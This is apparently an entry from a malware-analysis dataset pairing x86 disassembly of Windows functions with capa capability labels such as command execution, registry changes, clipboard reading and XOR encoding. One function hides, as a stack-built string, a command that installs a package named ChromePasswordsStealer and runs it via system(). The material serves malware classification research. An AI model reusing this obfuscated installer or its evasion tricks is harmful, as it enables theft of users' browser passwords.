joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ccf
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xc4
mov dword [ebp - 0xc], 0
jmp 0x401d91
mov eax, dword [ebp - 0xc]
lea edx, [eax*8]
mov eax, dword [ebp + 8]
add eax, edx
mov eax, dword [eax]
cmp eax, str.done
jne 0x401d03
nop
jmp 0x401d9d
mov eax, dword [ebp - 0xc]
add eax, 1
lea edx, [eax*8]
mov eax, dword [ebp + 8]
add eax, edx
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0xc]
lea edx, [eax*8]
mov eax, dword [ebp + 8]
add eax, edx
mov edx, dword [eax + 4]
mov eax, dword [ebp - 0xc]
lea ebx, [eax*8]
mov eax, dword [ebp + 8]
add eax, ebx
mov eax, dword [eax]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], edx
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0x18]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.python_oliner.py__s__d__s__s__s
mov dword [esp + 4], 0x96
lea eax, [ebp - 0xa2]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0xa2]
mov dword [esp], eax
call sym._system
mov dword [esp], 1
call sym._sleep
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
jl 0x401ce5
nop
add esp, 0xc4
pop ebx
pop ebp
ret

Function at 0x401da7
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8
mov dword [ebp - 0xc], 0x40d248
mov dword [ebp - 0x10], 1
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x1c], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x18], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.python_oneliner.py__s__d__s__s__s
mov dword [esp + 4], 0x96
lea eax, [ebp - 0xa6]
mov dword [esp], eax
call sym.___mingw_snprintf
lea eax, [ebp - 0xa6]
mov dword [esp], eax
call sym._system
mov dword [esp], 1
call sym._sleep
nop
leave
ret

Function at 0x401e1c
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
lea eax, [ebp - 0x9e]
mov dword [eax], 0x68747970
mov dword [eax + 4], 0x2d206e6f
mov dword [eax + 8], 0x6970206d
mov dword [eax + 0xc], 0x6e692070
mov dword [eax + 0x10], 0x6c617473
mov dword [eax + 0x14], 0x712d206c
mov dword [eax + 0x18], 0x4f795020
mov dword [eax + 0x1c], 0x694c656e
mov dword [eax + 0x20], 0x2072656e
mov dword [eax + 0x24], 0x6f726843
mov dword [eax + 0x28], 0x6150656d
mov dword [eax + 0x2c], 0x6f777373
mov dword [eax + 0x30], 0x53736472
mov dword [eax + 0x34], 0x6c616574
mov word [eax + 0x38], 0x7265
mov byte [eax + 0x3a], 0
lea eax, [ebp - 0x9e]
mov dword [esp], eax
call sym._system
mov dword [esp], 1
call sym._sleep
nop
leave
ret
Function at 0x402760
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x410044
call sym._EnterCriticalSection_4
mov ebx, dword [0x41003c]
sub esp, 4
test ebx, ebx
je 0x4027ab
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x4027a4
test esi, esi
je 0x4027a4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402780
mov dword [esp], 0x410044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402990
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x4029e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402ab8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x402a1e
cmp eax, 4
jne 0x402a40
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x402a2e
cmp edx, 4
je 0x402a2e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402990
Function at 0x402670
Capabilities:
Create process on windows

Disassembly:
push ebp
push edi
push 1
push 0x208
call fcn.0041a9b2
push 1
push 0x208
mov edi, eax
call fcn.0041a9b2
add esp, 0x10
mov ebp, eax
test edi, edi
je 0x4027ab
test ebp, ebp
je 0x4027ab
push ebx
mov ebx, dword [esp + 0x10]
push esi
mov edx, ebp
xor esi, esi
mov eax, ebx
sub edx, ebx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x4026af
push 7
push str.http:__
push ebp
call fcn.0041af50
add esp, 0xc
test eax, eax
je 0x4026f5
push 8
push str.https:__
push ebp
call fcn.0041af50
add esp, 0xc
test eax, eax
je 0x4026f5
push 0x5c
push ebp
call fcn.0041a7b0
add esp, 8
test eax, eax
je 0x4026f5
mov byte [eax], 0
mov esi, ebp
push 5
push esi
push 0
push ebx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
ja 0x40279a
mov eax, dword [esp + 0x18]
push edi
push eax
push 0x80000000
call fcn.004027b0
add esp, 0xc
test eax, eax
jne 0x40279a
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str._shellopencommand
push edi
call ebx
push edi
push edi
push 0x80000000
call fcn.004027b0
add esp, 0xc
test eax, eax
jne 0x40279a
push str.__1_
push edi
call fcn.0041acb0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40277e
push 0x4263d4
push edi
call fcn.0041acb0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40277e
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [eax + edi - 1]
jmp 0x402781
mov byte [esi], 0
push 0x4263d0
push esi
call ebx
mov ecx, dword [esp + 0x14]
push ecx
push esi
call ebx
push 5
push edi
call dword [sym.imp.KERNEL32.dll_WinExec]
push ebp
call fcn.0041aa63
push edi
call fcn.0041aa63
add esp, 8
pop esi
pop ebx
pop edi
pop ebp
ret

Function at 0x4027b0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
lea eax, [esp + 8]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4027f9
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
lea eax, [esp + 8]
mov dword [esp + 8], 0x104
push eax
push ecx
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
ret
Function at 0x402800
Capabilities:
Set registry value

Disassembly:
sub esp, 0x20c
lea eax, [esp + 4]
push edi
mov edi, dword [esp + 0x214]
push 0x208
push eax
push edi
call fcn.004028f0
add esp, 0xc
push edi
call dword [sym.imp.GDI32.dll_AddFontResourceA]
test eax, eax
je 0x4028da
mov al, byte [esp + 8]
push esi
test al, al
je 0x4028b2
push 0x5c
push edi
call fcn.0041a7b0
mov esi, eax
add esp, 8
test esi, esi
je 0x40284d
inc esi
jmp 0x40284f
mov esi, edi
lea ecx, [esp + 0xc]
push str.__TrueType_
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [0x42ba7c]
mov eax, str.SoftwareMicrosoftWindowsCurrentVersionFonts
test ecx, ecx
je 0x402873
mov eax, str.SoftwareMicrosoftWindows_NTCurrentVersionFonts
lea edx, [esp + 8]
push edx
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4028b2
mov edi, esi
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
mov ecx, dword [esp + 0xc]
push esi
push 1
push eax
lea eax, [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x42b604
push 0x1388
push 0
push 0
push 0
push 0x1d
push 0xffff
mov dword [0x42b604], 0
call dword [sym.imp.USER32.dll_SendMessageTimeoutA]
pop esi
pop edi
add esp, 0x20c
ret

Function at 0x402b10
Capabilities:
Delete registry value

Disassembly:
sub esp, 0x20c
lea eax, [esp + 4]
push esi
mov esi, dword [esp + 0x214]
push edi
push 0x208
push eax
push esi
call fcn.004028f0
add esp, 0xc
push esi
call dword [sym.imp.GDI32.dll_RemoveFontResourceA]
mov edi, eax
mov al, byte [esp + 0xc]
test al, al
je 0x402ba2
push 0x5c
push esi
call fcn.0041a7b0
add esp, 8
lea ecx, [esp + 0xc]
push str.__TrueType_
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [0x42ba7c]
mov eax, str.SoftwareMicrosoftWindowsCurrentVersionFonts
test ecx, ecx
je 0x402b72
mov eax, str.SoftwareMicrosoftWindows_NTCurrentVersionFonts
lea edx, [esp + 8]
push edx
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x402ba2
mov ecx, dword [esp + 8]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
pop edi
pop esi
je 0x402bc5
push 0x42b604
push 0x1388
push 0
push 0
push 0
push 0x1d
push 0xffff
call dword [sym.imp.USER32.dll_SendMessageTimeoutA]
add esp, 0x20c
ret
Function at 0x402c70
Capabilities:
Create process on windows
Get common file path
Set current directory

Disassembly:
sub esp, 0x54
push ebx
push ebp
push esi
push edi
push 0x208
call fcn.0041a900
mov ebp, eax
xor ebx, ebx
add esp, 4
cmp ebp, ebx
jne 0x402c96
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x54
ret
mov eax, dword [esp + 0x68]
push eax
push str.__s_
push ebp
call dword [sym.imp.USER32.dll_wsprintfA]
mov edx, dword [esp + 0x78]
add esp, 0xc
cmp edx, ebx
je 0x402cef
cmp byte [edx], bl
je 0x402cef
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov cx, word [0x4263d0]
mov word [edi - 1], cx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x208
call fcn.0041a900
mov esi, eax
add esp, 4
cmp esi, ebx
jne 0x402d15
push ebp
call fcn.0041aa63
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x54
ret
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov eax, dword [esp + 0x68]
lea edi, [esi + 0x104]
mov edx, edi
mov ecx, eax
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x402d31
push 0x5c
push edi
call fcn.0041a7b0
add esp, 8
cmp eax, ebx
je 0x402d53
push edi
mov byte [eax], bl
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea ecx, [esp + 0x10]
mov eax, dword [esp + 0x70]
lea edx, [esp + 0x20]
push ecx
push edx
push ebx
push ebx
push 0x20
push 1
push ebx
push ebx
push ebp
push ebx
mov dword [eax], ebx
mov dword [esp + 0x48], 0x44
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x54], ebx
mov dword [esp + 0x74], ebx
mov word [esp + 0x7a], bx
mov dword [esp + 0x7c], ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push esi
call fcn.0041aa63
push ebp
call fcn.0041aa63
add esp, 8
cmp edi, ebx
jne 0x402dba
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x54
ret
mov ecx, dword [esp + 0x70]
mov eax, dword [esp + 0x10]
pop edi
pop esi
mov dword [ecx], eax
pop ebp
mov eax, 1
pop ebx
add esp, 0x54
ret

Function at 0x403a50
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 8
lea eax, [esp + 0x10]
push esi
xor esi, esi
push eax
push 0x20019
push esi
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403ab9
lea eax, [esp + 0x10]
lea ecx, [esp + 4]
push eax
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 0x1c]
push edx
push esi
push eax
push ecx
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x28], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x403aae
mov esi, 1
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 8
ret
Function at 0x408db0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
mov eax, dword [0x42b6a4]
push esi
push edi
cmp byte [eax], 0
jne 0x408f42
mov ecx, dword [0x42bafc]
mov edx, dword [0x42b634]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x408dcc
mov ecx, dword [0x42b634]
push 0x5c
push ecx
call fcn.0041a7b0
add esp, 8
test eax, eax
je 0x408dee
inc eax
jmp 0x408df3
mov eax, dword [0x42b634]
mov byte [eax], 0x72
inc eax
push ebx
push 0
mov byte [eax], 0x65
inc eax
mov byte [eax], 0x67
inc eax
mov byte [eax], 0x69
inc eax
mov byte [eax], 0x6e
inc eax
mov byte [eax], 0x66
inc eax
mov byte [eax], 0x6f
inc eax
mov byte [eax], 0x2e
inc eax
mov byte [eax], 0x74
inc eax
mov byte [eax], 0x78
inc eax
mov byte [eax], 0x74
mov byte [eax + 1], 0
mov edx, dword [0x42b634]
push edx
call fcn.004010e0
mov ebx, eax
add esp, 8
cmp ebx, 0xffffffff
je 0x408eb1
push ebx
call fcn.00401260
mov esi, eax
add esp, 4
test esi, esi
jbe 0x408ea8
cmp esi, 0x186a0
jae 0x408ea8
lea eax, [esi + 1]
push eax
call fcn.0041a900
mov edi, eax
add esp, 4
test edi, edi
je 0x408ea8
push esi
push edi
push ebx
call fcn.00401160
mov byte [edi + esi], 0
mov ecx, dword [0x42b9d0]
add esp, 0xc
mov eax, dword [ecx + 8]
test eax, eax
jne 0x408e8c
push esi
push edi
call fcn.00408b90
add esp, 8
jmp 0x408e9f
xor edx, edx
cmp eax, 4
sete dl
push edx
push esi
push edi
call fcn.00409a80
add esp, 0xc
push edi
call fcn.0041aa63
add esp, 4
push ebx
call fcn.00401360
add esp, 4
mov eax, dword [0x42b6a4]
pop ebx
cmp byte [eax], 0
jne 0x408f42
push 1
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x408f42
mov ecx, dword [0x42bac4]
push ecx
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x408f42
push ebp
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov ebp, eax
test ebp, ebp
je 0x408f39
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edx, eax
test edx, edx
je 0x408f32
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [0x42b9d0]
not ecx
mov eax, dword [eax + 8]
dec ecx
test eax, eax
mov esi, ecx
jne 0x408f1f
push esi
push edx
call fcn.00408b90
add esp, 8
jmp 0x408f32
xor ecx, ecx
cmp eax, 4
sete cl
push ecx
push esi
push edx
call fcn.00409a80
add esp, 0xc
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
pop ebp
pop edi
pop esi
jmp dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop esi
ret
Function at 0x4091e0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
mov eax, dword [0x42b6a4]
cmp byte [eax], 0
jne 0x40929b
mov ecx, dword [0x42bafc]
mov edx, dword [0x42b634]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4091fa
mov ecx, dword [0x42b634]
push 0x5c
push ecx
call fcn.0041a7b0
add esp, 8
test eax, eax
je 0x40921c
inc eax
jmp 0x409221
mov eax, dword [0x42b634]
mov ecx, str.reginfo.txt
mov edx, eax
sub edx, ecx
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x40922a
mov edx, dword [0x42b634]
push edx
call fcn.00409130
mov eax, dword [0x42b6a4]
add esp, 4
cmp byte [eax], 0
jne 0x40929b
push 1
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x40929b
mov ecx, dword [0x42bac4]
push ecx
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40929b
push esi
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
je 0x409294
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x40928d
push eax
call fcn.004090a0
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
pop esi
jmp dword [sym.imp.USER32.dll_CloseClipboard]
ret
Function at 0x40b240
Capabilities:
Check for time delay via gettickcount
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x190
mov eax, dword [ecx*4 + 0x42b990]
push ebx
xor ebx, ebx
test eax, eax
jne 0x40b260
pop ebx
add esp, 0x190
ret
cmp dword [eax], 0
jne 0x40b26f
xor eax, eax
pop ebx
add esp, 0x190
ret
test byte [eax + 6], 2
jne 0x40b27f
xor eax, eax
pop ebx
add esp, 0x190
ret
mov eax, dword [ecx*4 + 0x42b950]
push esi
push edi
mov edi, dword [eax + 0xc]
test edi, edi
je 0x40b401
cmp byte [edi], 0
je 0x40b401
xor eax, eax
mov cl, byte [eax + str.SoftwareMicrosoftWindowsCurrentVersionUninstall_]
mov byte [esp + eax + 0x34], cl
inc eax
test cl, cl
jne 0x40b29e
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebp
lea edx, [esp + 0x38]
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea ecx, [esp + 0x3c]
push ecx
push 0x80000002
call esi
test eax, eax
pop ebp
je 0x40b30c
lea edx, [esp + 0xc]
lea eax, [esp + 0x34]
push edx
push eax
push 0x80000001
call esi
test eax, eax
jne 0x40b401
mov ecx, 0x5a
xor eax, eax
lea edi, [esp + 0x34]
lea edx, [esp + 0x34]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
lea eax, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x10]
push edx
push eax
push 0
push str.UninstallString
push ecx
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0x168
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40b365
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, ebx
pop esi
pop ebx
add esp, 0x190
ret
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x34]
push 0
push ecx
call fcn.004010e0
add esp, 8
cmp eax, 0xffffffff
je 0x40b401
push eax
call fcn.00401360
mov ecx, dword [esp + 0x1a8]
add esp, 4
test ecx, ecx
mov eax, str._X__S
je 0x40b3a2
mov eax, 0x42661c
push 1
lea edx, [esp + 0x38]
push eax
push edx
call fcn.00402be0
add esp, 0xc
test eax, eax
je 0x40b401
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x40b3fc
mov ebx, dword [sym.imp.USER32.dll_PeekMessageA]
push 0
push 0
push 0
lea eax, [esp + 0x24]
push 0
push eax
call ebx
lea ecx, [esp + 0x34]
push ecx
call fcn.0041ad30
add esp, 4
test eax, eax
je 0x40b3fc
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x40b3d1
mov ebx, 1
pop edi
mov eax, ebx
pop esi
pop ebx
add esp, 0x190
ret
Function at 0x40d280
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
test esi, esi
mov byte [ebp], 0
je 0x40d304
mov eax, dword [0x42b9d0]
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x40d2c9
mov cl, byte [esi]
push edi
mov byte [esp + 0x10], cl
mov edi, ebp
mov eax, dword [esp + 0x10]
and eax, 0xff
inc esi
mov ecx, eax
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
mov byte [eax + ebp], 0
pop esi
pop ebp
ret
mov edx, dword [0x42b6a0]
mov eax, esi
sub eax, edx
mov dl, byte [esi]
mov cl, al
inc esi
xor cl, dl
xor cl, 0x6a
inc eax
test cl, cl
mov byte [esp + 0xc], cl
jbe 0x40d300
mov ecx, dword [esp + 0xc]
and ecx, 0xff
mov dl, byte [esi]
xor dl, al
xor dl, 0x6a
mov byte [ebp], dl
inc ebp
inc esi
inc eax
dec ecx
jne 0x40d2f0
mov byte [ebp], 0
pop esi
pop ebp
ret

Function at 0x40d4e0
Capabilities:
Encode data using xor
Read .ini file

Disassembly:
mov ecx, dword [0x42badc]
sub esp, 0x24
push ebx
push esi
mov esi, dword [ecx*4 + 0x42b8d0]
test esi, esi
je 0x40d635
mov edx, dword [ecx*4 + 0x42b810]
xor eax, eax
test edx, edx
jbe 0x40d524
mov bl, byte [eax + esi]
mov cl, al
add cl, 0x40
xor bl, cl
mov byte [eax + esi], bl
mov edx, dword [0x42badc]
inc eax
cmp eax, dword [edx*4 + 0x42b810]
jb 0x40d507
xor eax, eax
mov ax, word [esi]
add esi, 2
test eax, eax
jbe 0x40d635
push ebp
mov dword [esp + 0x14], eax
push edi
mov al, byte [esi]
inc esi
mov byte [esp + 0x13], al
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x1c], esi
lea edx, [esi + ecx + 1]
or ecx, 0xffffffff
mov edi, edx
mov ebp, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [edx + ecx + 1]
or ecx, 0xffffffff
mov edi, edx
mov ebx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [edx + ecx + 1]
or ecx, 0xffffffff
mov edi, edx
mov dword [esp + 0x14], edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea esi, [edx + ecx + 1]
mov ecx, dword [esp + 0x1c]
mov edx, dword [0x42b634]
push ecx
push edx
call fcn.0040d450
mov al, byte [esp + 0x1b]
add esp, 8
test al, 1
je 0x40d5c6
mov eax, dword [0x42b634]
lea ecx, [esp + 0x20]
push eax
push 0x14
push ecx
push 0x42bb28
push ebx
push ebp
mov byte [esp + 0x38], 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jne 0x40d624
mov edx, dword [esp + 0x14]
push 0xffdc
push edx
push 0
call fcn.0040d310
mov dword [esp + 0x28], eax
lea eax, [eax + eax + 1]
push eax
call fcn.0041a900
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x24]
inc ecx
mov edi, eax
push ecx
push edx
push edi
call fcn.0040d310
mov eax, dword [0x42b634]
add esp, 0x1c
push eax
push edi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push ebp
call ebx
mov ecx, dword [0x42b634]
push ecx
push 0
push 0
push 0
call ebx
push edi
call fcn.0041aa63
add esp, 4
mov eax, dword [esp + 0x18]
dec eax
mov dword [esp + 0x18], eax
jne 0x40d53a
pop edi
pop ebp
pop esi
pop ebx
add esp, 0x24
ret
Function at 0x40d640
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
sub esp, 0x408
push ebp
mov ebp, dword [esp + 0x414]
test ebp, ebp
je 0x40d718
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x40d718
mov ecx, dword [esp + 0x410]
lea eax, [esp + 4]
push eax
push 0x10008
push 0
push ebp
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40d71d
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov ecx, dword [esp + 0xc]
push 0
push 0
push 0
lea edx, [esp + 0x1c]
push 0
lea eax, [esp + 0x24]
push edx
push eax
push 0
push ecx
mov dword [esp + 0x30], 0x400
call edi
mov esi, eax
cmp esi, 0x103
je 0x40d6f0
test esi, esi
jne 0x40d701
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x14]
push edx
push eax
call fcn.0040d640
mov esi, eax
add esp, 8
test esi, esi
je 0x40d690
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebp
add esp, 0x408
ret
mov ecx, dword [esp + 0x418]
push ebp
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebp
add esp, 0x408
ret
mov eax, 0x3f2
pop ebp
add esp, 0x408
ret